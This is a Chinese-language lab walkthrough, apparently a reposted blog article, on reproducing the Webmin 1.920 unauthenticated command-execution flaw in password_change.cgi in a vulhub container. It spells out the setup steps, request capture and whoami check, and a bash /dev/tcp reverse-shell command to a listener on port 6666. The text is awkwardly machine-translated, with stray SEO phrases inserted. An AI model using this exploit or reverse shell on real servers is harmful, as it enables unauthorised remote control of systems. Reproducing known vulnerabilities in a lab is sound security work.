漏洞利用，了解黑客如何入侵服务器

最近，发现webmin具有一个远程命令执行漏洞. 经过分析，最初猜测它是后门植入事件. Webmin是当前最强大的基于Web的UNIX系统管理工具. 管理员使用浏览器访问webmin的各种管理功能如何入侵服务器，并完成相应的管理操作. 当用户打开webmin密码重置功能时，攻击者可以通过发送发布请求而无需身份验证来执行目标系统中的任何命令.

影响范围: webmin <= 1.920

进入vuhub后，直接执行docker-compose up -d拉动要构建的映像

设置完成后，直接访问192.168.1.1:10000，但是vuhub建立的网站存在问题，因此应根据错误提示进行修改，因此在这里，您需要使用https进行访问，否则不会要访问: : 10000 /

接下来是我们的攻击，请访问: 10000 / password_change.cgi，在这种情况下，访问它会报告一个错误，因此在这里我们需要修改配置文件.

下一步是进入后台修改配置文件. 在这种情况下，只需使用docker exec it id number / bin / bash

转到/ etc / webmin目录并查看配置文件. 我们要修改的是config中的Referers_one = 1配置.

但是docker容器中没有编辑器，因此在这里，我们需要安装vim编辑器

cat / etc / os-release首先进入容器以查看发行版如何入侵服务器，确定是使用yum还是apt安装工具

您可以看到使用的debian8操作系统，然后进行apt安装，apt安装vim

下一步是编辑此文件配置，然后将Referers_one = 1更改为Referers_one = 0

您可以通过再次访问该路径来查看它. 我们这边的页面也进行了相应的更改，并且没有错误.

然后，下一步是使用poc重现该漏洞. 在这里，您必须访问: 10000 / password_change.cgi并使用burp捕获程序包

使用POC，查看命令的成功执行

Poc如下

看到效果后，很明显命令已成功执行.

执行whoami，它还会在此处成功输出相应的权限

然后我们必须反弹外壳，因为它可以在这里执行执行命令，然后我们可以直接执行bash -c“ bash -i>＆/dev/tcp/192.168.1.1/6666 0>＆1”来接收外壳服务器端口6666）

然后，如果执行此命令，则我们的服务器将侦听6666并接收反弹外壳. 在这种情况下，您需要将有效负载编码为url，然后执行

服务器上侦听端口6666的外壳收到反弹的外壳可以看到我们执行的有效负载. 右侧页面为空白，表示成功.

然后您会看到弹壳已成功反弹.

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-261640-1.html